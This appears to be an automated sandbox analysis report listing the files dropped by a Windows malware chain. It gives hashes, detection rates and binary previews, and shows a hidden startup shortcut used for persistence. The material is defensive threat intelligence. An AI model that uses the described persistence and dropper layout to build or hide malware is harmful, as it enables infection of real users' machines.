                                                                                                                                                                  File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat Dec 7 13:43:30 2024, mtime=Sat Dec 7 13:43:31 2024, atime=Fri Nov 15 06:14:42 2024, length=29152, window=hide
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):879
                                                                                                                                                                  Entropy (8bit):4.970331492116619
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:12:8Dlo6U4Sqtf0WCHgdY//oZLSLwXbGmiQq/TQ7E/jAKmiPgjAuBrHZJ/Q/sufs9+u:8jSo/2g+gZIW2RaAklB2fsY7Bm
                                                                                                                                                                  MD5:F40BA619DEA744666C3D84A25433C3C6
                                                                                                                                                                  SHA1:56956BC4590C6C367D74475168D2F497A269FC5E
                                                                                                                                                                  SHA-256:CC1291D2BCB128AAD4B252E787FF02FA5D9B73A41D0DC763C692D716D63F323B
                                                                                                                                                                  SHA-512:1391DAC0871237EE8A99BF3FE245B1D10C607420F109B27177CF8281B2B3B88E17079D6990B5D01B2AEC81FA9A91BF77751EFC977E59BAC286D2E4C0A293B497
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:L..................F.... ....}Ob.H....pb.H...]e..7...q........................:..DG..Yr?.D..U..k0.&...&......vk.v....8..f.H....k.H......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Ydu...........................%..A.p.p.D.a.t.a...B.V.1......Ysu..Roaming.@......CW.^.Ysu...........................m..R.o.a.m.i.n.g.....\.1......Ypu..ALTDAE~1..D......Ypu.Yqu....d+.....................X..A.l.t.D.a.e.m.o.n.....`.2..q..oY.9 .pyexec.exe..F......Ypu.Ypu.....2........................p.y.e.x.e.c...e.x.e.......b...............-.......a...........1. ......C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe..".....\.....\.R.o.a.m.i.n.g.\.A.l.t.D.a.e.m.o.n.\.p.y.e.x.e.c...e.x.e.`.......X.......287400...........hT..CrF.f4... .2.......,.......hT..CrF.f4... .2.......,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ONOracle_test.lnk (copy)

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                  File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat Dec 7 13:43:30 2024, mtime=Sat Dec 7 13:43:31 2024, atime=Fri Nov 15 06:14:42 2024, length=29152, window=hide
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):879
                                                                                                                                                                  Entropy (8bit):4.970331492116619
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:12:8Dlo6U4Sqtf0WCHgdY//oZLSLwXbGmiQq/TQ7E/jAKmiPgjAuBrHZJ/Q/sufs9+u:8jSo/2g+gZIW2RaAklB2fsY7Bm
                                                                                                                                                                  MD5:F40BA619DEA744666C3D84A25433C3C6
                                                                                                                                                                  SHA1:56956BC4590C6C367D74475168D2F497A269FC5E
                                                                                                                                                                  SHA-256:CC1291D2BCB128AAD4B252E787FF02FA5D9B73A41D0DC763C692D716D63F323B
                                                                                                                                                                  SHA-512:1391DAC0871237EE8A99BF3FE245B1D10C607420F109B27177CF8281B2B3B88E17079D6990B5D01B2AEC81FA9A91BF77751EFC977E59BAC286D2E4C0A293B497
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:L..................F.... ....}Ob.H....pb.H...]e..7...q........................:..DG..Yr?.D..U..k0.&...&......vk.v....8..f.H....k.H......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Ydu...........................%..A.p.p.D.a.t.a...B.V.1......Ysu..Roaming.@......CW.^.Ysu...........................m..R.o.a.m.i.n.g.....\.1......Ypu..ALTDAE~1..D......Ypu.Yqu....d+.....................X..A.l.t.D.a.e.m.o.n.....`.2..q..oY.9 .pyexec.exe..F......Ypu.Ypu.....2........................p.y.e.x.e.c...e.x.e.......b...............-.......a...........1. ......C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe..".....\.....\.R.o.a.m.i.n.g.\.A.l.t.D.a.e.m.o.n.\.p.y.e.x.e.c...e.x.e.`.......X.......287400...........hT..CrF.f4... .2.......,.......hT..CrF.f4... .2.......,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\RemoteSvc\VBoxDDU.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\Virtual.exe
                                                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):380176
                                                                                                                                                                  Entropy (8bit):6.432472275317664
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:6144:TTKw9G2rivrR7YR+euVO05XMog3N0++++I333O333qj333MEq333h3333f92333O:CcN3u++++I333O333qj333MJ333h333r
                                                                                                                                                                  MD5:496DF6AD1A158ED5037138E397713EF0
                                                                                                                                                                  SHA1:287BD2219C955687BAA399DED57E9AB64334C63C
                                                                                                                                                                  SHA-256:07C04290F53AAAAA7DF6B6EA3A53103B6E3EF8FF658D8097617A9C48DFC6E90A
                                                                                                                                                                  SHA-512:422DA26A8F50C1F02C1CC7C4BED37CDB33732039BBA82F32C2A14BAA8C6A7BC5544856AB26A2071B5EA8E731A296E2C69071DA2F067312D05763AA3A9928BB3A
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........O.L.!.L.!.L.!.E...F.!.WX..N.!.k.Z.N.!....M.!.#...O.!.L. ...!.#...N.!.#...F.!.#...N.!.WX..T.!.WX..M.!.WX..M.!.RichL.!.................PE..d.....)R.........." .....2...z.......:....................................................@.........................................@Y..D...t@..................|A.......#...........W...............................................P..X............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data........p.......L..............@....pdata..|A.......B...`..............@..@.reloc..P...........................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\RemoteSvc\VBoxRT.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\Virtual.exe
                                                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):4242944
                                                                                                                                                                  Entropy (8bit):6.557837726258486
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:49152:9LNFpH0VfZqJru0K1kLo7RrObviwkZcrA2P16szn0uyIeOGTrLvQb8Ey7P:wVfZq+1kLRGIn0uy7wb8
                                                                                                                                                                  MD5:1ED9D695FD31239E2B16E3712F96965F
                                                                                                                                                                  SHA1:ACB9C07DEDC5CD9FE5632AB92F77F0BD046D2BB2
                                                                                                                                                                  SHA-256:414C538D3884DA4A5737F0FAB8834333DC520E50C230D9E08CC40832806A0730
                                                                                                                                                                  SHA-512:2E3D8326B8E38B4D2BABF6C69FE552F3F58C8672FAC269ECDD1F9A90FDE3B0917971BCB79B0FA46D4353DADD93A482B60D8F02B3065FE907B5A6067202A5333C
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 5%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=..\x..\x..\x....\x..$.\x......\x..*.\x..\y..]x.8....\x..*.\x..*..\x..*..\x.....]x..\x..\x.....]x....\x....\x.Rich.\x.........PE..d.....)R.........." .....:#..................................................pA......4A...@..........................................89.3...l.9......`@.......=.p............p@......[#..............................................P#.h............................text...i8#......:#................. ..`.rdata......P#......>#.............@..@.data.........<..^....;.............@....pdata..p.....=......>=.............@..@.rsrc........`@.......?.............@..@.reloc.......p@.......?.............@..B................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exe

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\Virtual.exe
                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):3559696
                                                                                                                                                                  Entropy (8bit):6.200307727314802
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:49152:AQ902GYI12BpN8G/i6Hdw2u68X5RPrftuX9wZcQm2J9FjdH0pdTrRBlkG0BjMEgr:H9DGYIob9wp68pRzVsiHI9atBjMEY
                                                                                                                                                                  MD5:C8A2DE7077F97D4BCE1A44317B49EF41
                                                                                                                                                                  SHA1:6CB3212EC9BE08CB5A29BF8D37E9CA845EFC18C9
                                                                                                                                                                  SHA-256:448402C129A721812FA1C5F279F5CA906B9C8BBCA652A91655D144D20CE5E6B4
                                                                                                                                                                  SHA-512:9815EBA1566A8E33734F6A218071EC501DD1F799B1535E25D87C2B416B928AE8D15F8218CF20E685F9907EC39C202CBFC4728FE6AB9D87B3DE345109F626845E
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$................<...D......#.....'.....!.........D#...8..............,.....C..D.....D%...D"...Rich...........................PE..d.....)R.........."......R ..........|.........@..............................6.....)$7...@.................................................0.,.T....`0......0..`"....6..#... 6..:.... ..............................................p .H............................text....P ......R ................. ..`.rdata..H....p ......V .............@..@.data...h....0-.......-.............@....pdata..`"...0...$....-.............@..@.rsrc........`0.......0.............@..@.reloc...Y... 6..Z....5.............@..B........................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\RemoteSvc\ikfusab

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\Virtual.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):802217
                                                                                                                                                                  Entropy (8bit):7.886267163548705
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:12288:9B9uHMgSFybNuObEDtW3U4YSlLKu5PszDpQF2pfb4UekUwBFWp5jch:sHtSFyZZoJ+PZ3F+DpQFY0tkHP85A
                                                                                                                                                                  MD5:72381196433E3385BB4BE8FF422800EF
                                                                                                                                                                  SHA1:D81BC8D8036EF92E7F24228618350E77827F314D
                                                                                                                                                                  SHA-256:BF7DB4B113588C19DC13603024ECF3D90BB8EB3854AD00FAD883A74E001A341A
                                                                                                                                                                  SHA-512:38D2C4821C147D47381C15AACB76B577AEE9FAB81329B71BE0B965CE31AB76B26CBB683D919B033AA79594AABC0401CE5D336DE537724CFADC9CCBBFBFC5A678
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:.`I`Ty.Det.o.u.M.r..NKS.H..H..e.O..Bvq.......fe....UNr.K.c^.C..Z..DMf.Z\.d...jK`]...p.B_jPV.^.Ej..J.[.B..K.Ed.bpwk.P..IF..akg..LVMf.Bm..tv.t..i..U....JhU..[.ZU...qYJl.BluJVadQPwj..DS..u..p.m.NO....J..y.O.H..E.u.....uP.E..h....]F.j.k..U....nPF..d.wFx.l...s..i..D.[..B.W...JM_.cLM.AR.....\Jdf..x.d.....K......t.db.\]..t.B.T.v.Z..K..e`[.dwJ.d.....oL.DdY.tCsoMHk....gE...I.T^.bZ.Z.qF....\....M....sP.f..u.i.F.J...CZ.g.sL]....bo...VJ.pi..`..OD..P.Gy.WOE].MW..aiFunRwk.a.tm..Pm...h.yQ.[.`J....w..B[Z..Lw.A.t.Fm..RnF..PPxv.BU.l^.GI..pqm..OvN.Dh.^.ecM...Zk..t.T......BkBd^.J..w.h._..QwI.]QavFG..b..PERM.Ev...xwi..M.jmhndD.H.BVuto.M\JN.ZMmd.yC\Te....G.u..Mh...a...M.....M...]jN...P..XB._...J.o[.oKa.s.Kf.y.T.^.._C.X.y.rE..h.l.N.y..IQke.L`R..C.....e]A...YARWZ......vnG.D...b......BKZ.WRxG...O..O.A..fO.G.XF...\.`....ih.c.qw..G..X..n..oS.e.bp.n.t....NSgi..VdK[...PKa...N.T...^.R..q....i.c.qE.Et..\K..D^tjc\.w..\.hK.RT_P.U....Lb.h_U].jD..GBc..]Ajk..IoFD...o..S.....[L[.wF.Wa.SlnYM..uo.ZZ..Y.ur.Avp.wP..Yw........

                                                                                                                                                                  C:\Users\user\AppData\Roaming\RemoteSvc\msvcp100.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\Virtual.exe
                                                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):608080
                                                                                                                                                                  Entropy (8bit):6.297676823354886
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:12288:koBFUsQ1H5FH3YUTd/df0RA7XkNvEKZm+aWodEEiblHN/:dFUsQ1H5FHdGKkNvEKZm+aWodEEcHN/
                                                                                                                                                                  MD5:D029339C0F59CF662094EDDF8C42B2B5
                                                                                                                                                                  SHA1:A0B6DE44255CE7BFADE9A5B559DD04F2972BFDC8
                                                                                                                                                                  SHA-256:934D882EFD3C0F3F1EFBC238EF87708F3879F5BB456D30AF62F3368D58B6AA4C
                                                                                                                                                                  SHA-512:021D9AF52E68CB7A3B0042D9ED6C9418552EE16DF966F9CCEDD458567C47D70471CB8851A69D3982D64571369664FAEEAE3BE90E2E88A909005B9CDB73679C82
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$..-`..~`..~`..~i.4~b..~{.;~c..~`..~...~..?~a..~{.9~a..~{..~P..~{..~Y..~{..~e..~{.<~a..~{.=~a..~{.:~a..~Rich`..~........................PE..d.....M.........." .........f.......q........cy..........................................@.............................................m......<....P...........=...0..P....`.......................................................................................text............................... ..`.rdata..-...........................@..@.data...0L.......8..................@....pdata...=.......>..................@..@.rsrc........P......................@..@.reloc..R....`......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\RemoteSvc\msvcr100.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\Virtual.exe
                                                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):829264
                                                                                                                                                                  Entropy (8bit):6.553848816796836
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:12288:QgzGPEett9Mw9HfBCddjMb2NQVmTW75JfmyyKWeHQGoko+1:HzJetPMw9HfBCrMb2Kc6dmyyKWewGzB1
                                                                                                                                                                  MD5:366FD6F3A451351B5DF2D7C4ECF4C73A
                                                                                                                                                                  SHA1:50DB750522B9630757F91B53DF377FD4ED4E2D66
                                                                                                                                                                  SHA-256:AE3CB6C6AFBA9A4AA5C85F66023C35338CA579B30326DD02918F9D55259503D5
                                                                                                                                                                  SHA-512:2DE764772B68A85204B7435C87E9409D753C2196CF5B2F46E7796C99A33943E167F62A92E8753EAA184CD81FB14361E83228EB1B474E0C3349ED387EC93E6130
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........pm...>...>...>..>...>...>F..>...>...>...>..>...>..>...>D..>...>...>...>...>...>...>Rich...>........................PE..d......M.........." ..........................sy............................. ......A.....@.........................................pt.......`..(...............pb......P............................................................................................text...F........................... ..`.rdata..............................@..@.data...L}... ...R..................@....pdata..pb.......d...Z..............@..@_CONST..............................@...text.....2... ...4..................@.. data.........`......................@..@.rsrc................v..............@..@.reloc...............z..............@..B................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\RemoteSvc\sgx

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\Virtual.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):18096
                                                                                                                                                                  Entropy (8bit):5.879061336076682
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:384:E3Z12VkpC1lhxmxbPVDnRS4p/B1gYH64eQvm3AB873DLqix90lO/:aZVpC15KTVzv/BeYH5eQv/K3j+M/
                                                                                                                                                                  MD5:D00B94674F06F45B8315CCF49D3A383B
                                                                                                                                                                  SHA1:465CCCF79A1B7AB9D973DB70C3A253E4A066AA6B
                                                                                                                                                                  SHA-256:FC2EBD32F984EC563113D6759DB21D1FF4394DA6BC0C688C9165D1D2E60FADCD
                                                                                                                                                                  SHA-512:63768752A2406BAF517F675B6130798D55F16731152491F4C99C0D39AAB394EB96A67410875BC947685125BCE611FC50B021B9A2935D491BE62B3F75E9BB70F6
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:.....F........D..Oh..Io.Z..j..k..tBp.M.sFj....DN.....mb.g.d.D_.m.Y..r.]f.jc.F.q..s........uL.ah.H..]g.p[U^.NET.N...Q....N.WVPn..[Ud...v..GS.Uq..FH.......hu.ltd.p.N..rSA.X..Vj.DJ.B..sjf..hSqn..m..p..L.O.fg..[Z...o.B.c..C..i.BX.t...XDFjU....eFMRO..bZHu..gV.J.HCnRD.Qu.TPKN\c.Z.VjA.h.P.g.n.\..Fy...O]K.j...eW.T...y.tQ.oZlrW.T.S`.u....L..g......d..D.R`XW....rSQ.T..f.D.k.IcYk.F.cvd..v....C^......tM..kb.vk.lO\...g...QYq^..X..KOB..wN.CrqD.i..yes....cF]E._KsV.D..v.....HpB.APO.G^.vZ.N..uZ.h^..J.Ux............w.......D.Z.Nq.....O_mKO..EW.....Ru.m.k.N.m].i.D..VC.h.y..PM..FJ..]I.qg.Q.w...D..A.Mb\...XH.dU.lG...H...E`.r.mv.]].w.N....`.u.K.a...B.A.Dhw.I..guBN.sjaN..QI...p.....XRB.g.O.]eNZ.Pjw].C.r.C.QBVx...M`v...I.cit..mO.jj.......E...xFB.]...DF`gs..tRGZO...ON.^.^.m.p...ro`.....dyIvb...v.Q....KtI_....s.rq.].`.T.CEt..W...XmWxk...X.W.S......dQ..].V..D.I^.C.B.nE.GX.Eh.VgC...u.C.n.Z...c.poI.LN.f\i[.u...`.T..N..uo\j.Z.Za.g..h.Y..e..pZ..Z.Yb.EgFFj.....Z...X.dWn....Q..q..Nt.f.yFrG...CeujvtwLrVANx.ri..rGy...ne

                                                                                                                                                                  C:\Users\user\AppData\Roaming\second.exe

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):4166425
                                                                                                                                                                  Entropy (8bit):7.963328331815756
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:98304:ehHsCZ5ojsyahyV3mn9I+x0rJ7y3c7t6kN6Mnd7O:ehtZ5oAyahd2+x0rJ71tt9d7O
                                                                                                                                                                  MD5:47CB10EBF122AEA1D817C5B57737C2FC
                                                                                                                                                                  SHA1:074B2F5AB20D09DCF7C0C8701568FC3654A47303
                                                                                                                                                                  SHA-256:54BE46F3DAAAD32F18EB85DAE280B3CA6F81C640DD9531ED16B71817A3A2973C
                                                                                                                                                                  SHA-512:C8237BFB26A625EAEAFE36DC0277626735DA1F2DBF33208374A28CE08C52B97CB2C087B85BD227D6CC7B7541743C28D674415031EE600853056AF393EAD26ECB
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 42%
                                                                                                                                                                  Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......t..0..I0..I0..I.'.I8..I.'.I...I.'.I=..I...I2..I...H"..I...H9..I...H...I9.rI9..I9.vI2..I9.bI7..I0..I/..I...H...I...H1..I...I1..I...H1..IRich0..I................PE..d......e.........."....!.....~.......q.........@.............................p............`............................................4...$...P............0...+...........`..,...@t..T...............................@...................<... ....................text...n........................... ..`.rdata..............................@..@.data....U..........................@....pdata...+...0...,..................@..@.didat..X....`......................@..._RDATA..\....p......................@..@.rsrc...............................@..@.reloc..,....`......................@..B................................................................................................................................

                                                                                                                                                                  C:\Users\user\VBoxDDU.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\second.exe
                                                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):380176
                                                                                                                                                                  Entropy (8bit):6.432472275317664
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:6144:TTKw9G2rivrR7YR+euVO05XMog3N0++++I333O333qj333MEq333h3333f92333O:CcN3u++++I333O333qj333MJ333h333r
                                                                                                                                                                  MD5:496DF6AD1A158ED5037138E397713EF0
                                                                                                                                                                  SHA1:287BD2219C955687BAA399DED57E9AB64334C63C
                                                                                                                                                                  SHA-256:07C04290F53AAAAA7DF6B6EA3A53103B6E3EF8FF658D8097617A9C48DFC6E90A
                                                                                                                                                                  SHA-512:422DA26A8F50C1F02C1CC7C4BED37CDB33732039BBA82F32C2A14BAA8C6A7BC5544856AB26A2071B5EA8E731A296E2C69071DA2F067312D05763AA3A9928BB3A
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........O.L.!.L.!.L.!.E...F.!.WX..N.!.k.Z.N.!....M.!.#...O.!.L. ...!.#...N.!.#...F.!.#...N.!.WX..T.!.WX..M.!.WX..M.!.RichL.!.................PE..d.....)R.........." .....2...z.......:....................................................@.........................................@Y..D...t@..................|A.......#...........W...............................................P..X............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data........p.......L..............@....pdata..|A.......B...`..............@..@.reloc..P...........................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\VBoxRT.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\second.exe
                                                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):4242944
                                                                                                                                                                  Entropy (8bit):6.557837726258486
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:49152:9LNFpH0VfZqJru0K1kLo7RrObviwkZcrA2P16szn0uyIeOGTrLvQb8Ey7P:wVfZq+1kLRGIn0uy7wb8
                                                                                                                                                                  MD5:1ED9D695FD31239E2B16E3712F96965F
                                                                                                                                                                  SHA1:ACB9C07DEDC5CD9FE5632AB92F77F0BD046D2BB2
                                                                                                                                                                  SHA-256:414C538D3884DA4A5737F0FAB8834333DC520E50C230D9E08CC40832806A0730
                                                                                                                                                                  SHA-512:2E3D8326B8E38B4D2BABF6C69FE552F3F58C8672FAC269ECDD1F9A90FDE3B0917971BCB79B0FA46D4353DADD93A482B60D8F02B3065FE907B5A6067202A5333C
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 5%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=..\x..\x..\x....\x..$.\x......\x..*.\x..\y..]x.8....\x..*.\x..*..\x..*..\x.....]x..\x..\x.....]x....\x....\x.Rich.\x.........PE..d.....)R.........." .....:#..................................................pA......4A...@..........................................89.3...l.9......`@.......=.p............p@......[#..............................................P#.h............................text...i8#......:#................. ..`.rdata......P#......>#.............@..@.data.........<..^....;.............@....pdata..p.....=......>=.............@..@.rsrc........`@.......?.............@..@.reloc.......p@.......?.............@..B................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\Virtual.exe

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\second.exe
                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):3559696
                                                                                                                                                                  Entropy (8bit):6.200307727314802
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:49152:AQ902GYI12BpN8G/i6Hdw2u68X5RPrftuX9wZcQm2J9FjdH0pdTrRBlkG0BjMEgr:H9DGYIob9wp68pRzVsiHI9atBjMEY
                                                                                                                                                                  MD5:C8A2DE7077F97D4BCE1A44317B49EF41
                                                                                                                                                                  SHA1:6CB3212EC9BE08CB5A29BF8D37E9CA845EFC18C9
                                                                                                                                                                  SHA-256:448402C129A721812FA1C5F279F5CA906B9C8BBCA652A91655D144D20CE5E6B4
                                                                                                                                                                  SHA-512:9815EBA1566A8E33734F6A218071EC501DD1F799B1535E25D87C2B416B928AE8D15F8218CF20E685F9907EC39C202CBFC4728FE6AB9D87B3DE345109F626845E
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$................<...D......#.....'.....!.........D#...8..............,.....C..D.....D%...D"...Rich...........................PE..d.....)R.........."......R ..........|.........@..............................6.....)$7...@.................................................0.,.T....`0......0..`"....6..#... 6..:.... ..............................................p .H............................text....P ......R ................. ..`.rdata..H....p ......V .............@..@.data...h....0-.......-.............@....pdata..`"...0...$....-.............@..@.rsrc........`0.......0.............@..@.reloc...Y... 6..Z....5.............@..B........................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\hvotj

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\KNVYINNN.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):4649893
                                                                                                                                                                  Entropy (8bit):7.946914769925769
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:98304:0n6Rl5wOCyxegMxW5GH+GUbrEfwNsvCTBn19t1DzvhmwQ8:s6RlBCxgMxMGH+xbrEYNyC1n19tZVmwZ
                                                                                                                                                                  MD5:E70EE3BCA802DB0197B2632B0F2AB4DB
                                                                                                                                                                  SHA1:AA7E9665BAAA4A2C487DD5D1059B2CB2CDCAE8E3
                                                                                                                                                                  SHA-256:0CBF2430F07B5BDEF2633605E0A65ED68AC1B3DBF3AE5BB8B79695F40A48AEFD
                                                                                                                                                                  SHA-512:E93C763EFF21A05C8D283A07EA9A6A357FA92394F2DA35E75F3796E8CA94F9F220811EAD59B5D562A7F20A6E2CAA459A20DC8076A749D81628253DCBA1FE1709
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:Vp....DK.m.h..H\.L..u...U....c....V...cD....XR.qf^fm.P..O.o.Zb..Oa..x......E_l.C..C.q..b...s.T.c..f...wt...i..v.rQ.P.R.u]V......p.M...fAt.P...\..XR.x...uW..pW.._PuI..V.iX.dg.b.w..v.o.MeSNmJ...\.n.c..E....yuLim..NX..h..._v.MAI..Z...].RNF...qw..I..IJT.mVGQ..bb.....p.[..I.i.U..^MQj..p.....d.C..mYxDSn.i.RIJ........KS.U..d.M.D.Q.rX..WX.Q.Mn....jIa.Obt..yB.^.M..U.^S.g[.gGdIk.qqhZjuy.\uLsE.S....ovkO..w.p.D.lhNg.....xZ.....Tkgqh...tD..i.J..xT.pE...W..UXK.GcCo...s..R\.j.q...S\.a...Wvs..e......y.Qdo......fn....\.y_t...FWt.[wA...yPGo..wW_c...\rL.W.h._...fN..m...Eu.t...Wy.A..vk.h....\Ai.....oAx....yGM.[d.....k...Q..M...OC..n......`DR..xx.Nou....Dp..A....\....si..w..ZYe.o.TFII...HO.H.M....jZ.v.p.].....\CYLk.o.c...bN.d.ODSSaDd..wPE............n.c..RVs....wLm.....tE..LQ..g.E.n......YG..X..[fW[.rK..TP.T.d.w.c..A\sG.m....uL......L.......^..P.R\...W.p..\....`[S...M.M.VB.XF_.R.Z.....S.q.T.PBTm..gYO..q.]o.y.t.r.S.H..M.......\..M.n....n.L.]...S.Ixhlg....L.i.[l..[yY\ga`..o..]..a..hBM.H...yj.VBY.di...d....NH

                                                                                                                                                                  C:\Users\user\ikfusab

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\second.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):802217
                                                                                                                                                                  Entropy (8bit):7.886267163548705
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:12288:9B9uHMgSFybNuObEDtW3U4YSlLKu5PszDpQF2pfb4UekUwBFWp5jch:sHtSFyZZoJ+PZ3F+DpQFY0tkHP85A
                                                                                                                                                                  MD5:72381196433E3385BB4BE8FF422800EF
                                                                                                                                                                  SHA1:D81BC8D8036EF92E7F24228618350E77827F314D
                                                                                                                                                                  SHA-256:BF7DB4B113588C19DC13603024ECF3D90BB8EB3854AD00FAD883A74E001A341A
